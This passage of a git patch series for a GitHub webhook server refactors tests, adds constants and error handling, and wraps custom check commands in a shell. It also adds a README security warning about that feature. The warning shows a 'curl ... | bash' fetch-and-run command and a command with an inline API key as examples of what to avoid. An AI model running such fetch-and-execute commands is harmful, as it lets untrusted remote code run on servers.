Mock, tmp_path: Path) -> None: """Test that /retest lint triggers check execution.""" runner_handler = RunnerHandler(mock_github_webhook) runner_handler.check_run_handler.is_check_run_in_progress = AsyncMock(return_value=False) @@ -670,9 +680,10 @@ async def test_retest_custom_check_triggers_execution(self, mock_github_webhook: # The check config uses raw name (as it appears in custom_check_runs) check_config = mock_github_webhook.custom_check_runs[0] + worktree = tmp_path / "worktree" # Create async context manager mock mock_checkout_cm = AsyncMock() - mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, "/tmp/worktree", "", "")) + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, str(worktree), "", "")) mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) with ( @@ -1058,11 +1069,12 @@ async def test_no_custom_checks_configured(self, mock_github_webhook: Mock) -> N assert len(result) == 0 # No checks configured at all @pytest.mark.asyncio - async def test_custom_check_timeout_expiration(self, mock_github_webhook: Mock) -> None: - """Test that custom check respects timeout configuration.""" + async def test_custom_check_timeout_expiration(self, mock_github_webhook: Mock, tmp_path: Path) -> None: + """Test that timeout should be handled gracefully.""" runner_handler = RunnerHandler(mock_github_webhook) runner_handler.check_run_handler.is_check_run_in_progress = AsyncMock(return_value=False) runner_handler.check_run_handler.set_check_in_progress = AsyncMock() + runner_handler.check_run_handler.set_check_failure = AsyncMock() runner_handler.check_run_handler.get_check_run_text = Mock(return_value="Timeout") mock_pull_request = Mock() @@ -1075,9 +1087,10 @@ async def test_custom_check_timeout_expiration(self, mock_github_webhook: Mock) "command": "uv tool run --from some-package slow-command", } + worktree = tmp_path / "worktree" # Create async context manager mock mock_checkout_cm = AsyncMock() - mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, "/tmp/worktree", "", "")) + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, str(worktree), "", "")) mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) with ( @@ -1087,12 +1100,17 @@ async def test_custom_check_timeout_expiration(self, mock_github_webhook: Mock) new=AsyncMock(side_effect=asyncio.TimeoutError), ), ): - # Should handle timeout gracefully - with pytest.raises(asyncio.TimeoutError): - await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) + # Should handle timeout gracefully by reporting failure + await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) + + # Verify that a failure was reported with timeout-related message + runner_handler.check_run_handler.set_check_failure.assert_awaited_once() + call_args = runner_handler.check_run_handler.set_check_failure.call_args + # Check that the failure message mentions timeout + assert "timeout" in str(call_args).lower() or "timed out" in str(call_args).lower() @pytest.mark.asyncio - async def test_custom_check_with_long_command(self, mock_github_webhook: Mock) -> None: + async def test_custom_check_with_long_command(self, mock_github_webhook: Mock, tmp_path: Path) -> None: """Test custom check with long multiline command from config.""" runner_handler = RunnerHandler(mock_github_webhook) runner_handler.check_run_handler.is_check_run_in_progress = AsyncMock(return_value=False) @@ -1110,9 +1128,10 @@ async def test_custom_check_with_long_command(self, mock_github_webhook: Mock) - "command": "python -c \"\nimport sys\nprint('Running complex check')\nsys.exit(0)\n\"", } + worktree = tmp_path / "worktree" # Create async context manager mock mock_checkout_cm = AsyncMock() - mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, "/tmp/worktree", "", "")) + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, str(worktree), "", "")) mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) with ( diff --git a/webhook_server/tests/test_github_api.py b/webhook_server/tests/test_github_api.py index f2405968..f470f51a 100644 --- a/webhook_server/tests/test_github_api.py +++ b/webhook_server/tests/test_github_api.py @@ -14,6 +14,7 @@ from webhook_server.libs.exceptions import RepositoryNotFoundInConfigError from webhook_server.libs.github_api import GithubWebhook from webhook_server.libs.handlers.owners_files_handler import OwnersFileHandler +from webhook_server.tests.conftest import TEST_GITHUB_TOKEN class TestGithubWebhook: @@ -1976,7 +1977,9 @@ def get_value_side_effect(value: str, *_args: object, **kwargs: object) -> objec assert gh.enabled_labels is not None assert "verified" in gh.enabled_labels - def test_validate_custom_check_runs_builtin_collision(self, minimal_hook_data: dict, minimal_headers: dict) -> None: + def test_validate_custom_check_runs_builtin_collision( + self, minimal_hook_data: dict[str, Any], minimal_headers: Headers + ) -> None: """Test that custom checks with names colliding with built-in checks are rejected.""" with patch("webhook_server.libs.github_api.Config") as mock_config: mock_config.return_value.repository = True @@ -2004,7 +2007,7 @@ def get_value_side_effect( mock_config.return_value.get_value.side_effect = get_value_side_effect with patch("webhook_server.libs.github_api.get_api_with_highest_rate_limit") as mock_get_api: - mock_get_api.return_value = (Mock(), "token", "apiuser") + mock_get_api.return_value = (Mock(), TEST_GITHUB_TOKEN, "apiuser") with patch("webhook_server.libs.github_api.get_github_repo_api"): with patch("webhook_server.libs.github_api.get_repository_github_app_api"): @@ -2037,7 +2040,9 @@ def get_value_side_effect( for msg in warning_messages ) - def test_validate_custom_check_runs_duplicate_names(self, minimal_hook_data: dict, minimal_headers: dict) -> None: + def test_validate_custom_check_runs_duplicate_names( + self, minimal_hook_data: dict[str, Any], minimal_headers: Headers + ) -> None: """Test that duplicate custom check names are rejected.""" with patch("webhook_server.libs.github_api.Config") as mock_config: mock_config.return_value.repository = True @@ -2062,7 +2067,7 @@ def get_value_side_effect( mock_config.return_value.get_value.side_effect = get_value_side_effect with patch("webhook_server.libs.github_api.get_api_with_highest_rate_limit") as mock_get_api: - mock_get_api.return_value = (Mock(), "token", "apiuser") + mock_get_api.return_value = (Mock(), TEST_GITHUB_TOKEN, "apiuser") with patch("webhook_server.libs.github_api.get_github_repo_api"): with patch("webhook_server.libs.github_api.get_repository_github_app_api"): From cd650fcfa0e18281d2a9352260607fb3b80e654c Mon Sep 17 00:00:00 2001 From: rnetser Date: Fri, 16 Jan 2026 19:21:19 +0200 Subject: [PATCH 30/33] refactor: address PR #961 review comments - Fix security leak in run_check() by removing command debug log - Handle CancelledError properly in run_retests() - Move strip() to command source for efficiency - Add shared BUILTIN_CHECK_NAMES constant - Update schema example to use uv - Improve test coverage and reuse fixtures --- webhook_server/config/schema.yaml | 2 +- webhook_server/libs/github_api.py | 18 ++-- .../libs/handlers/runner_handler.py | 101 +++++++++++------- webhook_server/tests/test_config_schema.py | 14 ++- .../tests/test_custom_check_runs.py | 57 +++------- webhook_server/tests/test_github_api.py | 7 +- webhook_server/utils/constants.py | 11 ++ .../utils/github_repository_settings.py | 13 +-- 8 files changed, 112 insertions(+), 111 deletions(-) diff --git a/webhook_server/config/schema.yaml b/webhook_server/config/schema.yaml index 6f9f3fe9..f7291c58 100644 --- a/webhook_server/config/schema.yaml +++ b/webhook_server/config/schema.yaml @@ -400,7 +400,7 @@ properties: mandatory: false - name: complex-check command: | - python -c " + uv run python -c " import sys print('Running complex check') sys.exit(0) diff --git a/webhook_server/libs/github_api.py b/webhook_server/libs/github_api.py index da210bb3..b24cdd1b 100644 --- a/webhook_server/libs/github_api.py +++ b/webhook_server/libs/github_api.py @@ -30,6 +30,7 @@ from webhook_server.libs.handlers.push_handler import PushHandler from webhook_server.utils.constants import ( BUILD_CONTAINER_STR, + BUILTIN_CHECK_NAMES, CAN_BE_MERGED_STR, CONFIGURABLE_LABEL_CATEGORIES, CONVENTIONAL_TITLE_STR, @@ -904,16 +905,6 @@ def _validate_custom_check_runs(self, raw_checks: object) -> list[dict[str, Any] seen_names: set[str] = set() - # Built-in check names that custom checks cannot override - BUILTIN_CHECK_NAMES = { - TOX_STR, - PRE_COMMIT_STR, - BUILD_CONTAINER_STR, - PYTHON_MODULE_INSTALL_STR, - CONVENTIONAL_TITLE_STR, - CAN_BE_MERGED_STR, - } - # Whitelist regex for safe check names: alphanumeric, dots, underscores, hyphens, 1-64 chars safe_check_name_pattern = re.compile(r"^[a-zA-Z0-9._-]{1,64}$") @@ -969,13 +960,16 @@ def _validate_custom_check_runs(self, raw_checks: object) -> list[dict[str, Any] ) continue - if not command.strip(): + # Strip command once for all subsequent operations + command = command.strip() + + if not command: self.logger.warning(f"Custom check '{check_name}' has empty 'command' field, skipping") continue # Parse command safely using shlex to handle quoting try: - tokens = shlex.split(command.strip(), posix=True) + tokens = shlex.split(command, posix=True) except ValueError as ex: self.logger.warning(f"Custom check '{check_name}' has invalid shell quoting ({ex}), skipping") continue diff --git a/webhook_server/libs/handlers/runner_handler.py b/webhook_server/libs/handlers/runner_handler.py index 8ad1a52a..7c992b8f 100644 --- a/webhook_server/libs/handlers/runner_handler.py +++ b/webhook_server/libs/handlers/runner_handler.py @@ -202,51 +202,65 @@ async def run_check(self, pull_request: PullRequest, check_config: CheckConfig) pull_request: The pull request to run the check on. check_config: Configuration for the check (name, command, title, use_cwd). """ - if await self.check_run_handler.is_check_run_in_progress(check_run=check_config.name): - self.logger.debug(f"{self.log_prefix} Check run is in progress, re-running {check_config.name}.") + try: + if await self.check_run_handler.is_check_run_in_progress(check_run=check_config.name): + self.logger.debug(f"{self.log_prefix} Check run is in progress, re-running {check_config.name}.") - self.logger.info(f"{self.log_prefix} Starting check: {check_config.name}") - await self.check_run_handler.set_check_in_progress(name=check_config.name) + self.logger.info(f"{self.log_prefix} Starting check: {check_config.name}") + await self.check_run_handler.set_check_in_progress(name=check_config.name) - async with self._checkout_worktree(pull_request=pull_request) as (success, worktree_path, out, err): - output: CheckRunOutput = { - "title": check_config.title, - "summary": "", - "text": None, - } + async with self._checkout_worktree(pull_request=pull_request) as (success, worktree_path, out, err): + output: CheckRunOutput = { + "title": check_config.title, + "summary": "", + "text": None, + } - if not success: - self.logger.error(f"{self.log_prefix} Repository preparation failed for {check_config.name}") - output["text"] = self.check_run_handler.get_check_run_text(out=out, err=err) - return await self.check_run_handler.set_check_failure(name=check_config.name, output=output) + if not success: + self.logger.error(f"{self.log_prefix} Repository preparation failed for {check_config.name}") + output["text"] = self.check_run_handler.get_check_run_text(out=out, err=err) + return await self.check_run_handler.set_check_failure(name=check_config.name, output=output) - # Build command with worktree path substitution - # Use replace() instead of format() to avoid KeyError on other braces in user commands - cmd = check_config.command.replace("{worktree_path}", worktree_path) - self.logger.debug(f"{self.log_prefix} {check_config.name} command to run: {cmd}") + # Build command with worktree path substitution + # Use replace() instead of format() to avoid KeyError on other braces in user commands + cmd = check_config.command.replace("{worktree_path}", worktree_path) + # NOTE: Removed debug log of command to prevent secret leakage - # Execute command - use cwd if configured, otherwise command should include paths - cwd = worktree_path if check_config.use_cwd else None - try: - rc, out, err = await run_command( - command=cmd, - log_prefix=self.log_prefix, - mask_sensitive=self.github_webhook.mask_sensitive, - cwd=cwd, - ) - except TimeoutError: - self.logger.error(f"{self.log_prefix} Check {check_config.name} timed out") - output["text"] = "Command execution timed out" - return await self.check_run_handler.set_check_failure(name=check_config.name, output=output) + # Execute command - use cwd if configured, otherwise command should include paths + cwd = worktree_path if check_config.use_cwd else None + try: + rc, out, err = await run_command( + command=cmd, + log_prefix=self.log_prefix, + mask_sensitive=self.github_webhook.mask_sensitive, + cwd=cwd, + ) + except TimeoutError: + self.logger.error(f"{self.log_prefix} Check {check_config.name} timed out") + output["text"] = "Command execution timed out" + return await self.check_run_handler.set_check_failure(name=check_config.name, output=output) - output["text"] = self.check_run_handler.get_check_run_text(err=err, out=out) + output["text"] = self.check_run_handler.get_check_run_text(err=err, out=out) - if rc: - self.logger.info(f"{self.log_prefix} Check {check_config.name} completed successfully") - return await self.check_run_handler.set_check_success(name=check_config.name, output=output) - else: - self.logger.info(f"{self.log_prefix} Check {check_config.name} failed") - return await self.check_run_handler.set_check_failure(name=check_config.name, output=output) + if rc: + self.logger.info(f"{self.log_prefix} Check {check_config.name} completed successfully") + return await self.check_run_handler.set_check_success(name=check_config.name, output=output) + else: + self.logger.info(f"{self.log_prefix} Check {check_config.name} failed") + return await self.check_run_handler.set_check_failure(name=check_config.name, output=output) + + except asyncio.CancelledError: + self.logger.debug(f"{self.log_prefix} Check {check_config.name} cancelled") + raise # Always re-raise CancelledError + except Exception as ex: + self.logger.exception(f"{self.log_prefix} Check {check_config.name} failed with unexpected error") + error_output: CheckRunOutput = { + "title": check_config.title, + "summary": "Unexpected error during check execution", + "text": f"Error: {ex}", + } + await self.check_run_handler.set_check_failure(name=check_config.name, output=error_output) + raise async def run_tox(self, pull_request: PullRequest) -> None: if not self.github_webhook.tox: @@ -639,6 +653,11 @@ async def run_retests(self, supported_retests: list[str], pull_request: PullRequ tasks.append(task) results = await asyncio.gather(*tasks, return_exceptions=True) - for result in results: - if isinstance(result, Exception): - self.logger.error(f"{self.log_prefix} Async task failed: {result}") + for idx, result in enumerate(results): + if isinstance(result, asyncio.CancelledError): + self.logger.debug(f"{self.log_prefix} Retest task cancelled") + raise result # Re-raise CancelledError + elif isinstance(result, BaseException): + # Get the test name from supported_retests list for better error messages + test_name = supported_retests[idx] if idx < len(supported_retests) else "unknown" + self.logger.error(f"{self.log_prefix} Retest '{test_name}' failed: {result}") diff --git a/webhook_server/tests/test_config_schema.py b/webhook_server/tests/test_config_schema.py index 11e6f399..a1292bc6 100644 --- a/webhook_server/tests/test_config_schema.py +++ b/webhook_server/tests/test_config_schema.py @@ -83,7 +83,7 @@ def valid_full_config(self) -> dict[str, Any]: { "name": "security-scan", "command": "uv tool run bandit -r .", - "env": ["DEBUG=true", "SCAN_LEVEL=high"], + "mandatory": False, }, ], } @@ -139,6 +139,18 @@ def test_valid_full_config_loads(self, valid_full_config: dict[str, Any], monkey assert repo_data["name"] == "org/test-repo" assert repo_data["minimum-lgtm"] == 2 assert repo_data["conventional-title"] == "feat,fix,docs" + + # Test custom-check-runs structure + custom_check_runs = repo_data["custom-check-runs"] + assert len(custom_check_runs) == 2 + # First check run: name and command only (mandatory defaults to true) + assert custom_check_runs[0]["name"] == "lint" + assert custom_check_runs[0]["command"] == "uv tool run ruff check" + assert "mandatory" not in custom_check_runs[0] # Uses default + # Second check run: includes explicit mandatory=False + assert custom_check_runs[1]["name"] == "security-scan" + assert custom_check_runs[1]["command"] == "uv tool run bandit -r ." + assert custom_check_runs[1]["mandatory"] is False finally: shutil.rmtree(temp_dir) diff --git a/webhook_server/tests/test_custom_check_runs.py b/webhook_server/tests/test_custom_check_runs.py index dfb74e8a..1bbafcb9 100644 --- a/webhook_server/tests/test_custom_check_runs.py +++ b/webhook_server/tests/test_custom_check_runs.py @@ -605,11 +605,7 @@ async def test_custom_checks_execution_workflow( class TestCustomCheckRunsRetestCommand: """Test suite for /retest command functionality for custom checks. - Custom checks can be retested using either format: - - /retest lint (raw name) - - /retest custom:lint (with prefix - normalized to raw name) - - The handler normalizes 'custom:' prefix so both formats work. + Custom checks can be retested using just the check name: /retest lint """ @pytest.fixture @@ -625,32 +621,20 @@ def mock_github_webhook(self) -> Mock: return mock_webhook @pytest.mark.asyncio - async def test_retest_custom_check_command_formats(self, mock_github_webhook: Mock) -> None: - """Test that custom checks can be retested with both formats. + async def test_retest_custom_check_command_format(self, mock_github_webhook: Mock) -> None: + """Test that custom checks can be retested using their name directly. - Both /retest lint and /retest custom:lint should work. - The handler strips the 'custom:' prefix if present. + /retest lint should work for a custom check named 'lint'. """ for check in mock_github_webhook.custom_check_runs: check_name = check["name"] - # Both formats should be valid - raw_format = f"/retest {check_name}" - prefixed_format = f"/retest custom:{check_name}" - - assert raw_format == f"/retest {check_name}" - assert prefixed_format == f"/retest custom:{check_name}" - - # After stripping "custom:" prefix, both should result in raw name - test_arg_raw = check_name - test_arg_prefixed = f"custom:{check_name}" - if test_arg_prefixed.startswith("custom:"): - normalized_prefixed = test_arg_prefixed[7:] - else: - normalized_prefixed = test_arg_prefixed + # The retest command should use the check name directly + retest_command = f"/retest {check_name}" + assert retest_command == f"/retest {check_name}" - assert test_arg_raw == check_name - assert normalized_prefixed == check_name + # Check name should match exactly what's in the config + assert check_name in ["lint", "security"] @pytest.mark.asyncio async def test_retest_all_custom_checks(self, mock_github_webhook: Mock) -> None: @@ -700,26 +684,19 @@ async def test_retest_custom_check_triggers_execution(self, mock_github_webhook: runner_handler.check_run_handler.set_check_success.assert_called_once() @pytest.mark.asyncio - async def test_custom_check_name_stored_without_prefix(self) -> None: - """Test that custom check names are stored without prefix in config. + async def test_custom_check_name_stored_as_configured(self) -> None: + """Test that custom check names are stored exactly as configured in YAML. - The handler normalizes user input (strips 'custom:' prefix), - but internally check names are always stored without prefix. + Check names should match exactly what's in the YAML config without any prefix. """ - base_name = "lint" - check_name = base_name + check_name = "lint" # Custom check names should match exactly what's in YAML config assert check_name == "lint" - assert not check_name.startswith("custom:") - - # Simulate normalization that happens in process_retest_command - user_input_with_prefix = "custom:lint" - if user_input_with_prefix.startswith("custom:"): - normalized = user_input_with_prefix[7:] - else: - normalized = user_input_with_prefix - assert normalized == "lint" + + # Verify the name is used directly without modification + retest_arg = check_name + assert retest_arg == "lint" class TestValidateCustomCheckRuns: diff --git a/webhook_server/tests/test_github_api.py b/webhook_server/tests/test_github_api.py index f470f51a..5e0d58a9 100644 --- a/webhook_server/tests/test_github_api.py +++ b/webhook_server/tests/test_github_api.py @@ -1481,6 +1481,7 @@ async def test_clone_repository_empty_checkout_ref( minimal_headers: Headers, logger: Mock, tmp_path: Path, + get_value_side_effect: Callable[..., object], ) -> None: """Test _clone_repository raises ValueError when checkout_ref is empty string.""" with ( @@ -1492,12 +1493,6 @@ async def test_clone_repository_empty_checkout_ref( # Setup mocks mock_config = Mock() mock_config.repository_data = {"enabled": True} - - def get_value_side_effect(value: str, *_args: object, **_kwargs: object) -> list[dict[str, object]] | None: - if value == "custom-check-runs": - return [] - return None - mock_config.get_value.side_effect = get_value_side_effect mock_config.data_dir = str(tmp_path) mock_config_cls.return_value = mock_config diff --git a/webhook_server/utils/constants.py b/webhook_server/utils/constants.py index f40c77f0..e526da55 100644 --- a/webhook_server/utils/constants.py +++ b/webhook_server/utils/constants.py @@ -126,6 +126,17 @@ } +# Built-in check run names that cannot be overridden by custom checks +BUILTIN_CHECK_NAMES: frozenset[str] = frozenset({ + TOX_STR, + PRE_COMMIT_STR, + BUILD_CONTAINER_STR, + PYTHON_MODULE_INSTALL_STR, + CONVENTIONAL_TITLE_STR, + CAN_BE_MERGED_STR, +}) + + class REACTIONS: ok: str = "+1" notok: str = "-1" diff --git a/webhook_server/utils/github_repository_settings.py b/webhook_server/utils/github_repository_settings.py index 087492e8..bcef5185 100644 --- a/webhook_server/utils/github_repository_settings.py +++ b/webhook_server/utils/github_repository_settings.py @@ -18,6 +18,7 @@ from webhook_server.libs.config import Config from webhook_server.utils.constants import ( BUILD_CONTAINER_STR, + BUILTIN_CHECK_NAMES, CAN_BE_MERGED_STR, CONVENTIONAL_TITLE_STR, IN_PROGRESS_STR, @@ -25,7 +26,6 @@ PYTHON_MODULE_INSTALL_STR, QUEUED_STR, STATIC_LABELS_DICT, - TOX_STR, ) from webhook_server.utils.helpers import ( get_future_results, @@ -332,13 +332,6 @@ def set_repository( def set_all_in_progress_check_runs_to_queued(repo_config: Config, apis_dict: dict[str, dict[str, Any]]) -> None: - check_runs = ( - PYTHON_MODULE_INSTALL_STR, - CAN_BE_MERGED_STR, - TOX_STR, - BUILD_CONTAINER_STR, - PRE_COMMIT_STR, - ) futures: list[Future[Any]] = [] with ThreadPoolExecutor() as executor: @@ -351,7 +344,7 @@ def set_all_in_progress_check_runs_to_queued(repo_config: Config, apis_dict: dic "config_": repo_config, "data": data, "github_api": apis_dict[repo]["api"], - "check_runs": check_runs, + "check_runs": BUILTIN_CHECK_NAMES, "api_user": apis_dict[repo]["user"], }, ) @@ -364,7 +357,7 @@ def set_repository_check_runs_to_queued( config_: Config, data: dict[str, Any], github_api: Github, - check_runs: tuple[str], + check_runs: frozenset[str], api_user: str, ) -> tuple[bool, str, Callable[..., Any]]: def _set_checkrun_queued(_api: Repository, _pull_request: PullRequest) -> None: From e025430925554c91bf75b39e436a0861592dd78d Mon Sep 17 00:00:00 2001 From: rnetser Date: Sat, 17 Jan 2026 10:55:58 +0200 Subject: [PATCH 31/33] fix(runner): track scheduled tests for accurate retest error logging --- webhook_server/libs/handlers/runner_handler.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/webhook_server/libs/handlers/runner_handler.py b/webhook_server/libs/handlers/runner_handler.py index 7c992b8f..aa197429 100644 --- a/webhook_server/libs/handlers/runner_handler.py +++ b/webhook_server/libs/handlers/runner_handler.py @@ -643,6 +643,7 @@ async def run_retests(self, supported_retests: list[str], pull_request: PullRequ _retests_to_func_map[check_key] = partial(self.run_custom_check, check_config=custom_check) tasks: list[Coroutine[Any, Any, Any] | Task[Any]] = [] + scheduled_tests: list[str] = [] for _test in supported_retests: runner = _retests_to_func_map.get(_test) if runner is None: @@ -651,6 +652,7 @@ async def run_retests(self, supported_retests: list[str], pull_request: PullRequ self.logger.debug(f"{self.log_prefix} running retest {_test}") task = asyncio.create_task(runner(pull_request=pull_request)) tasks.append(task) + scheduled_tests.append(_test) results = await asyncio.gather(*tasks, return_exceptions=True) for idx, result in enumerate(results): @@ -658,6 +660,6 @@ async def run_retests(self, supported_retests: list[str], pull_request: PullRequ self.logger.debug(f"{self.log_prefix} Retest task cancelled") raise result # Re-raise CancelledError elif isinstance(result, BaseException): - # Get the test name from supported_retests list for better error messages - test_name = supported_retests[idx] if idx < len(supported_retests) else "unknown" + # Get the test name from scheduled_tests list for correct error attribution + test_name = scheduled_tests[idx] if idx < len(scheduled_tests) else "unknown" self.logger.error(f"{self.log_prefix} Retest '{test_name}' failed: {result}") From 3498fab89a763193d671eaed32634891b34888cf Mon Sep 17 00:00:00 2001 From: rnetser Date: Sun, 18 Jan 2026 17:15:37 +0200 Subject: [PATCH 32/33] docs: add security warning for custom-check-runs feature --- README.md | 44 +++++++++++++++++++ .../libs/handlers/check_run_handler.py | 2 +- 2 files changed, 45 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 4de373dd..c26f9788 100644 --- a/README.md +++ b/README.md @@ -1436,6 +1436,50 @@ Internet → GitHub Webhooks → [Webhook Server] ← Internal Network ← Log V 5. **Monitoring**: Enable comprehensive logging and monitoring 6. **Updates**: Regularly update to latest stable version +### Custom Check Runs Security + +> [!CAUTION] +> **Security Warning:** The `custom-check-runs` feature executes user-defined commands on the server during PR events. This is a powerful capability that requires careful security consideration. + +**Risks:** + +- Commands run with the webhook server's system permissions +- Commands execute in the cloned repository worktree +- Malicious or misconfigured commands could compromise server security +- Environment variables in commands may expose sensitive data in logs + +**Security Recommendations:** + +1. **Review all commands carefully** - Only configure commands from trusted sources +2. **Principle of least privilege** - Run the webhook server with minimal required permissions +3. **Audit configurations** - Regularly review `custom-check-runs` in your configuration files +4. **Restrict configuration access** - Limit who can modify `config.yaml` and `.github-webhook-server.yaml` +5. **Monitor execution logs** - Watch for unexpected command behavior or failures +6. **Avoid sensitive data in commands** - Do not embed secrets directly in command strings + +**Example of secure configuration:** + +```yaml +custom-check-runs: + - name: lint + command: uv tool run --from ruff ruff check # Uses trusted, pinned tool + mandatory: true + - name: type-check + command: uv run mypy . # Runs in isolated environment + mandatory: false +``` + +**What to avoid:** + +```yaml +# ❌ DANGEROUS: Avoid patterns like these +custom-check-runs: + - name: risky-check + command: curl https://untrusted-site.com/script.sh | bash # Never pipe to shell + - name: secret-exposure + command: API_KEY=secret123 some-command # Secrets visible in logs +``` + ## Monitoring ### Health Checks diff --git a/webhook_server/libs/handlers/check_run_handler.py b/webhook_server/libs/handlers/check_run_handler.py index 81712497..773af73d 100644 --- a/webhook_server/libs/handlers/check_run_handler.py +++ b/webhook_server/libs/handlers/check_run_handler.py @@ -375,7 +375,7 @@ async def all_required_status_checks(self, pull_request: PullRequest) -> list[st if self.github_webhook.conventional_title: all_required_status_checks.append(CONVENTIONAL_TITLE_STR) - # Add mandatory custom checks only (default is mandatory=true for backward compatibility) + # Add mandatory custom checks only (non-mandatory checks still run but don't affect can-be-merged) # Note: custom checks are validated in GithubWebhook._validate_custom_check_runs() # so name is guaranteed to exist for custom_check in self.github_webhook.custom_check_runs: From a05ed3b3da66ff0928da181ad3a3f0650ea09360 Mon Sep 17 00:00:00 2001 From: rnetser Date: Sun, 18 Jan 2026 18:58:29 +0200 Subject: [PATCH 33/33] fix(runner): wrap custom check commands in shell for env var support --- webhook_server/libs/handlers/runner_handler.py | 10 +++++++++- webhook_server/tests/test_custom_check_runs.py | 10 +++++++--- 2 files changed, 16 insertions(+), 4 deletions(-) diff --git a/webhook_server/libs/handlers/runner_handler.py b/webhook_server/libs/handlers/runner_handler.py index aa197429..b0adb1fe 100644 --- a/webhook_server/libs/handlers/runner_handler.py +++ b/webhook_server/libs/handlers/runner_handler.py @@ -1,6 +1,7 @@ import asyncio import contextlib import re +import shlex import shutil from asyncio import Task from collections.abc import AsyncGenerator, Callable, Coroutine @@ -516,10 +517,17 @@ async def run_custom_check( check_name = check_config["name"] command = check_config["command"] + # Wrap command in shell to support shell syntax (env vars, pipes, subshells, etc.) + # This is safe for custom checks since they are explicitly user-defined commands. + # Using shlex.quote() ensures the command is properly escaped when passed as + # a single argument to /bin/sh -c, so shlex.split() produces: + # ['/bin/sh', '-c', 'JIRA_TOKEN="xxx" tox -e verify-bugs-are-open-gh'] + shell_wrapped_command = f"/bin/sh -c {shlex.quote(command)}" + # Custom checks run with cwd set to worktree directory unified_config = CheckConfig( name=check_name, - command=command, + command=shell_wrapped_command, title=f"Custom Check: {check_name}", use_cwd=True, ) diff --git a/webhook_server/tests/test_custom_check_runs.py b/webhook_server/tests/test_custom_check_runs.py index 1bbafcb9..c116ff28 100644 --- a/webhook_server/tests/test_custom_check_runs.py +++ b/webhook_server/tests/test_custom_check_runs.py @@ -502,7 +502,10 @@ async def test_run_custom_check_checkout_failure( async def test_run_custom_check_command_execution_in_worktree( self, runner_handler: RunnerHandler, mock_pull_request: Mock, tmp_path: Path ) -> None: - """Test that custom check command is executed in worktree directory.""" + """Test that custom check command is executed in worktree directory. + + Custom checks are wrapped in /bin/sh -c to support shell syntax (env vars, pipes, etc.). + """ check_config = { "name": "build", "command": "uv tool run --from build python -m build", @@ -523,10 +526,11 @@ async def test_run_custom_check_command_execution_in_worktree( ): await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) - # Verify command is executed with cwd parameter set to worktree + # Verify command is wrapped in shell and executed with cwd parameter set to worktree mock_run.assert_called_once() call_args = mock_run.call_args.kwargs - assert call_args["command"] == "uv tool run --from build python -m build" + # Command is wrapped in /bin/sh -c to support shell syntax (env vars, pipes, etc.) + assert call_args["command"] == "/bin/sh -c 'uv tool run --from build python -m build'" assert call_args["cwd"] == str(worktree)